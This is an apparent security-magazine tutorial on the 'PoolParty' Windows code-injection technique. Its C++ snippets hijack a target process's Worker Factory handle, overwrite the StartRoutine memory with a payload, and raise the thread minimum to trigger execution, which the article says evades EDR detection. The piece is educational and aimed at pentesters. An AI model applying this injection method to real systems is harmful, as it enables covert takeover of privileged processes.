
Code injection is an efficient attack technique: malicious code is injected into a third-party process to gain control over it or perform certain actions. Since this operation can be performed not only by a pentester but also by a hacker, any cybersecurity specialist must be proficient in injection techniques to be able to repel such attacks.
warning
This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
Windows Thread Pools
The Windows Thread Pools mechanism significantly simplifies thread management for programmers. Such tasks as asynchronous interaction and performance management are solved under the hood by reusing existing threads, which reduces CPU costs required to create and kill them. Concurrently, Windows Thread Pools solves problems associated with thread queues and zillions of tiny nuances that could easily drive a programmer crazy.
The code that manages thread pools is located mostly in user mode (ntdll.
), and only a small part of it is located in the kernel; as a result, there is no need to waste resources on frequent context switching between the kernel and user space.
The main elements of Windows Thread Pools are as follows:
- Worker Factory that manages the creation and deletion of new threads; and
- Work queues:
- task queue dispatches tasks that are passed to the pool. These tasks can be either fast (i.e. executed within a short time) or longer. The thread pool is scaled automatically; if the number of tasks is large, the pool can create additional threads to cope with the load;
- I/O completion queue performs tasks related to I/O operations (e.g. file operations or network requests); and
- timer queue makes it possible to execute tasks at certain intervals or at a specified time.
From the PoolParty exploitation perspective, the above-listed Thread Pools elements are of utmost interest.
It must be noted that all processes running in a Windows environment use Thread Pools by default. To verify this experimentally, you can launch Process Explorer, select any process, and go to the Handles tab.

As you can see, the svchost.
process uses Worker Factories, which means that the Thread Pools mechanism is enabled.
To see the PoolParty technique in action, let’s try to attack Worker Factories. But first of all, you must be aware of how are they created.
NTSTATUS NTAPI NtCreateWorkerFactory(_Out_ PHANDLE WorkerFactoryHandleReturn,_In_ ACCESS_MASK DesiredAccess,_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,_In_ HANDLE CompletionPortHandle,_In_ HANDLE WorkerProcessHandle,_In_ PVOID StartRoutine,_In_opt_ PVOID StartParameter,_In_opt_ ULONG MaxThreadCount,_In_opt_ SIZE_T StackReserve,_In_opt_ SIZE_T StackCommit);
NtCreateWorkerFactory
is an NTAPI function that creates a Thread Pools Worker Factory. Its WorkerProcessHandle
and StartRoutine
arguments are of special interest.
StartRoutine
is a pointer to the code that will be executed by the Worker Factory when a new thread is created; while WorkerProcessHandle
is a handle to the process whose context will be used to execute the worker threads. This can be a handle to the current process or another one (distributed processing). Let’s try to modify the StartRoutine
code so that it executes your payload, thus, making the factory work for you.
But before you can start modify StartRoutine
, some preparations are required.
Capture the target handle
Interaction with Thread Pools elements is implemented via handles. Accordingly, to gain access to the Working Factory of the target process, you have to find its handle and capture it using the WinAPI DuplicateHandle
function.
Thread Pools handles are divided into several types. If you need access to a Worker Factory, a handle whose object type is TpWorkerFactory
should be used; to access a timer queue, IRTimer
; and to access an I/O queue, a handle of the IoCompletion
type. Since you are going to attack a Worker Factory, you have to look for the TpWorkerFactory
object manager type.
In addition, NTAPI functions NtQueryInformationProcess
and NtQueryObject
will be required; their addresses can be obtained dynamically from ntdll.
(FYI: addresses of other NTAPI functions mentioned in this article can be obtained in a similar way).
typedef NTSTATUS(NTAPI* proto_NtQueryInformationProcess)( _In_ HANDLE ProcessHandle, _In_ PROCESSINFOCLASS ProcessInformationClass, _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, _In_ ULONG ProcessInformationLength, _Out_opt_ PULONG ReturnLength );typedef NTSTATUS(NTAPI* proto_NtQueryObject)( _In_opt_ HANDLE Handle, _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, _In_ ULONG ObjectInformationLength, _Out_opt_ PULONG ReturnLength);...proto_NtQueryInformationProcess ptr_NtQueryInformationProcess = nullptr;proto_NtQueryObject ptr_NtQueryObject = nullptr;ptr_NtQueryInformationProcess = reinterpret_cast<proto_NtQueryInformationProcess>(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess"));prt_NtQueryObject = reinterpret_cast<proto_NtQueryObject>(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject"));
Next, you get the list of all open handles for the target process using the GetProcessHandleCount function and allocate memory for the PROCESS_HANDLE_SNAPSHOT_INFORMATION
and PROCESS_HANDLE_TABLE_ENTRY_INFO
structures. Important: some extra memory might be required should the number of handles change afterwards.
GetProcessHandleCount(targetProcess, (PDWORD)&handles);szTypeInfo = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION) + ((handles + 5) * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO));processes = static_cast<PPROCESS_HANDLE_SNAPSHOT_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, szTypeInfo));
To fill the previously allocated memory with information about process handles, you have to call NtQueryInformationProcess
with the ProcessHandleInformation
argument.
ptr_NtQueryInformationProcess( targetProcess, // ProcessHandleInformation (PROCESSINFOCLASS)51, // PPROCESS_HANDLE_SNAPSHOT_INFORMATION processes, szTypeInfo, NULL);
Then you have to capture all process handles stored in processes->
. To do this, call DuplicateHandle
for each handle using NtQueryObject
, get information about it contained in the PUBLIC_OBJECT_TYPE_INFORMATION
structure, and filter out the suitable handles whose type is TpWorkerFactory
.
DuplicateHandle(targetProcess, processes->Handles[i].HandleValue, GetCurrentProcess(), &gotchedHandle, accessFlags, FALSE, NULL)prt_NtQueryObject(gotchedHandle, ObjectTypeInformation, // Call NtQueryObject with NULL to get information on the required memory size NULL, NULL, (PULONG)&objTypeLen);objTypeInfo = static_cast<PPUBLIC_OBJECT_TYPE_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objTypeLen));prt_NtQueryObject(gotchedHandle, ObjectTypeInformation, objTypeInfo, objTypeLen, NULL);if (wcsncmp(L"TpWorkerFactory", objTypeInfo->TypeName.Buffer, wcslen(L"TpWorkerFactory")) == 0) { // Found it!}HeapFree(GetProcessHeap(), 0, objTypeInfo);
Now that the required handles are obtained, let’s proceed to the most interesting part: intercepting control by modifying the StartRoutine
code.
Modifying StartRoutine
StartRoutine
cannot be modified if the Worker Factory has already been created (and, as you understand, this is exactly the case: it has already been created in a third-party process), but you can modify the code it points to! To continue the attack, the following NTAPI functions will be required:
-
NtQueryInformationWorkerFactory
– to get information about the Worker Factory; and -
NtSetInformationWorkerFactory
– to modify information about the Worker Factory.
Let’s examine their prototypes:
NtQueryInformationWorkerFactory( _In_ HANDLE WorkerFactoryHandle, _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, _In_ ULONG WorkerFactoryInformationLength, _Out_opt_ PULONG ReturnLength);NtSetInformationWorkerFactory( _In_ HANDLE WorkerFactoryHandle, _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, _In_ ULONG WorkerFactoryInformationLength);
First, you get information about your factory (or more precisely, about above-discussed StartRoutine
) by calling NtQueryInformationWorkerFactory
with the WorkerFactoryBasicInformation
argument. Also, you have to fill in the WORKER_FACTORY_BASIC_INFORMATION
structure.
ptr_NtQueryInformationWorkerFactory( gotchedHandle, WorkerFactoryBasicInformation, &factoryInf, // factoryInf is a structure of the WORKER_FACTORY_BASIC_INFORMATION type sizeof(WORKER_FACTORY_BASIC_INFORMATION), nullptr);
Time has come for the most exciting part – direct modification of StartRoutine
:
- using
VirtualProtectEx
, you change access rights to memory containingStartRoutine
to be able to write your payload to this area; and - using
WriteProcessMemory
, you write your payload to memory and restore the initial access rights to this memory area by callingVirtualProtectEx
again.
VirtualProtectEx( targetProcess, factoryInf.StartRoutine, szPayload, PAGE_READWRITE, (PDWORD)&oldProtect);WriteProcessMemory( targetProcess, // Address to write payload at factoryInf.StartRoutine, // Payload addrPayload, // Payload size szPayload, nullptr);VirtualProtectEx( targetProcess, factoryInf.StartRoutine, szPayload, oldProtect, (PDWORD)&oldProtect );
Voila! Your Worker Factory is ‘charged’. Now let’s change the minimum number of threads in the pool because an additional thread has been created. To do this, use the NtSetInformationWorkerFactory
function.
// Increasing the minimum number of threads by 1threadsCount = factoryInf.TotalWorkerCount + 1;ptr_NtSetInformationWorkerFactory( gotchedHandle, WorkerFactoryThreadMinimum, &threadsCount, sizeof(uint32_t));
The minimum number of threads in the pool was increased to ensure that your payload will be executed. After changing code in the StartRoutine
factory, you create a new thread that will execute this code. To make this operation possible, the WorkerFactoryThreadMinimum
parameter has to be increased.
Important: this is the key step required to deliver your attack; without it, your payload won’t be executed (or you would have to wait indefinitely without any guarantee).
Importantly, the payload is executed without calling the standard functions used to create threads and processes. This prevents antivirus tools from detecting such attacks: the above-described approach breaks the standard behavior pattern that makes EDR suspicious.
Conclusions
Pentesters can use the PoolParty technique to covertly inject code into highly privileged processes. From a security perspective, the growing popularity of PoolParty necessitates the need to improve monitoring of system calls and enhance control over access rights to system objects. And needless to say, you should always keep your security systems up to date.
This article addressed only one type of PoolParty techniques: attacks on Worker Factories. If necessary, you can attack all three queues used by Windows Thread Pools, although, as practice shows, this approach is slightly less efficient.
Good luck!

2022.12.15 — What Challenges To Overcome with the Help of Automated e2e Testing?
This is an external third-party advertising publication. Every good developer will tell you that software development is a complex task. It's a tricky process requiring…
Full article →
2022.06.01 — WinAFL in practice. Using fuzzer to identify security holes in software
WinAFL is a fork of the renowned AFL fuzzer developed to fuzz closed-source programs on Windows systems. All aspects of WinAFL operation are described in the official documentation,…
Full article →
2023.02.12 — Gateway Bleeding. Pentesting FHRP systems and hijacking network traffic
There are many ways to increase fault tolerance and reliability of corporate networks. Among other things, First Hop Redundancy Protocols (FHRP) are used for this…
Full article →
2022.02.15 — Reverse shell of 237 bytes. How to reduce the executable file using Linux hacks
Once I was asked: is it possible to write a reverse shell some 200 bytes in size? This shell should perform the following functions: change its name…
Full article →
2022.01.01 — It's a trap! How to create honeypots for stupid bots
If you had ever administered a server, you definitely know that the password-based authentication must be disabled or restricted: either by a whitelist, or a VPN gateway, or in…
Full article →
2022.01.13 — Bug in Laravel. Disassembling an exploit that allows RCE in a popular PHP framework
Bad news: the Ignition library shipped with the Laravel PHP web framework contains a vulnerability. The bug enables unauthorized users to execute arbitrary code. This article examines…
Full article →
2023.03.26 — Attacks on the DHCP protocol: DHCP starvation, DHCP spoofing, and protection against these techniques
Chances are high that you had dealt with DHCP when configuring a router. But are you aware of risks arising if this protocol is misconfigured on a…
Full article →
2022.06.03 — Challenge the Keemaker! How to bypass antiviruses and inject shellcode into KeePass memory
Recently, I was involved with a challenging pentesting project. Using the KeeThief utility from GhostPack, I tried to extract the master password for the open-source KeePass database…
Full article →
2023.04.04 — Serpent pyramid. Run malware from the EDR blind spots!
In this article, I'll show how to modify a standalone Python interpreter so that you can load malicious dependencies directly into memory using the Pyramid…
Full article →
2023.02.21 — Pivoting District: GRE Pivoting over network equipment
Too bad, security admins often don't pay due attention to network equipment, which enables malefactors to hack such devices and gain control over them. What…
Full article →